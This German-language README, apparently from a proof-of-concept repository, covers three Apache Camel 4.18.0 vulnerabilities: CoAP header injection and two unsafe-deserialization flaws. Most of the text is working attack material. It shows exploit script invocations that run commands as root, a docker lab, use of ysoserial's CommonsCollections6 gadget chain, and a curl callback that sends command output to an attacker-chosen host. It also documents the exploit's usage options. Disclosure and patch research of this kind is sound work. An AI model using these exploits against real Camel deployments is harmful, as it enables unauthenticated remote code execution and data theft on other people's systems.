
Stellt funktionierende Proof-of-Concept-Exploits und detaillierte Analysen für drei kritische Apache-Camel-Schwachstellen bereit, einschließlich CoAP-Header-Injection und unsicherer Deserialisierung, die zu Remote-Code-Ausführung führt.
Drei kritische Schwachstellen in Apache Camel 4.18.0, unabhängig entdeckt und mit funktionierenden Proof-of-Concept-Exploits validiert.
| CVE | Komponente | Typ | CVSS | Bewertung |
|---|---|---|---|---|
| CVE-2026-33453 | camel-coap | Header-Injection → RCE | 10.0 Kritisch | Ausnutzbar |
| CVE-2026-40473 | camel-mina | Unsichere Deserialisierung → RCE | 9.8 Kritisch | Ausnutzbar |
| CVE-2026-40858 | camel-infinispan | Unsichere Deserialisierung | 8.8 Hoch | Ausnutzbar |
Komponente: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (Unkontrollierte Modifikation von Objektattributen)
Behoben in: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() mappt CoAP-URI-Abfrageparameter direkt in Camel-Exchange-Header über setHeader() ohne HeaderFilterStrategy. CoAPEndpoint erweitert DefaultEndpoint statt DefaultHeaderFilterStrategyEndpoint, sodass interne Header mit Camel*-Präfix von jedem nicht authentifizierten Client injiziert werden können.
Wenn die Route an camel-exec weiterleitet, überschreiben die angreiferkontrollierten Header CamelExecCommandExecutable und CamelExecCommandArgs den konfigurierten Befehl, wodurch eine vorauthentifizierte RCE über ein einzelnes UDP-Paket erreicht wird.
// CamelCoapResource.java:103-109 — KEIN HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Antwort: 2.05
[+] Befehlsausgabe: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Befehlsausgabe: app bin boot dev etc home lib ...
Komponente: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (Deserialisierung nicht vertrauenswürdiger Daten)
Behoben in: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) erstellt einen rohen java.io.ObjectInputStream ohne ObjectInputFilter. Wenn ein MINA-Endpunkt mit allowDefaultCodec=false konfiguriert ist, kommen rohe TCP-Daten als IoBuffer an und erreichen den Typkonverter von Camel, der diese Methode aufruft — wodurch angreiferkontrollierte Netzwerkbytes in einem ungefilterten ObjectInputStream verarbeitet werden.
// MinaConverter.java:60-63 — KEIN ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // angreiferkontrollierte Bytes, KEIN FILTER
}
Angriffspfad: Der Exploit zielt auf einen MINA-TCP-Endpunkt mit allowDefaultCodec=false (Port 9879 im PoC). Dies umgeht die Codec-Schicht von MINA vollständig — die ObjectSerializationCodecFactory verfügt über einen eigenen ClassNameMatcher-Allowlist, der andernfalls beliebige Klassen blockieren würde. Bei deaktiviertem Codec fließen rohe Bytes direkt zu MinaConverter.toObjectInput(), das einen Standard-ObjectInputStream ohne jegliche Klassenfilterung erstellt.
Eine CommonsCollections6-Gadget-Kette (über ysoserial) erreicht beliebige Befehlsausführung als root. Die Befehlsausgabe wird über einen curl-Callback an den Angreifer exfiltriert.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Befehlsausgabe:
uid=0(root) gid=0(root) groups=0(root)
[+] BESTÄTIGT: CVE-2026-40473 RCE — Befehl über Deserialisierung ausgeführt
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Befehlsausgabe:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (CommonsCollections6-Gadget)cd poc/
docker compose up -d --build
Warten Sie, bis der Container gestartet ist, und überprüfen Sie dann:
docker logs vuln-camel-mina
Sie sollten Folgendes sehen:

[*] Verwundbarer MINA-Server gestartet
[*] Port 9877: transferExchange (Java-Deser)-Endpunkt
[*] Port 9878: Objektserialisierungs-Codec-Endpunkt
[*] Port 9879: Roher TCP (MinaConverter.toObjectInput)-Endpunkt
[*] Warte auf Verbindungen...
Port 9879 ist das Ziel — er verwendet allowDefaultCodec=false, wodurch der Codec-Filter von MINA deaktiviert wird und rohe IoBuffer den ungefilterten MinaConverter.toObjectInput() von Camel erreichen.
Überprüfen Sie zunächst, dass der Endpunkt beliebige Java-Objekte ohne ObjectInputFilter akzeptiert und deserialisiert:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Probe-Modus — Deserialisierung bestätigen (keine RCE)
[*] Payload: HashMap (82 Bytes, roh — kein MINA-Frame)
[+] Mit MINA-Endpunkt verbunden
[+] Payload gesendet
[+] Daten erreichten readObject() ohne Filterablehnung
Die Probe sendet eine serialisierte HashMap. Der Server deserialisiert sie über ObjectInputStream.readObject() ohne InvalidClassException — was eine vollständige Filterungslücke bestätigt.
Mit verfügbarem ysoserial nutzen Sie die ungefilterte Deserialisierung für beliebige Befehlsausführung:
# 'id' ausführen — gibt uid=0(root) zurück
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Dateien lesen
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# Systeminformationen
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
Der Exploit generiert eine CommonsCollections6-Gadget-Kette, sendet sie als rohe Bytes an Port 9879 und erfasst die Befehlsausgabe über einen curl-Callback-Listener.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PFAD] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
ziel [port] [befehl]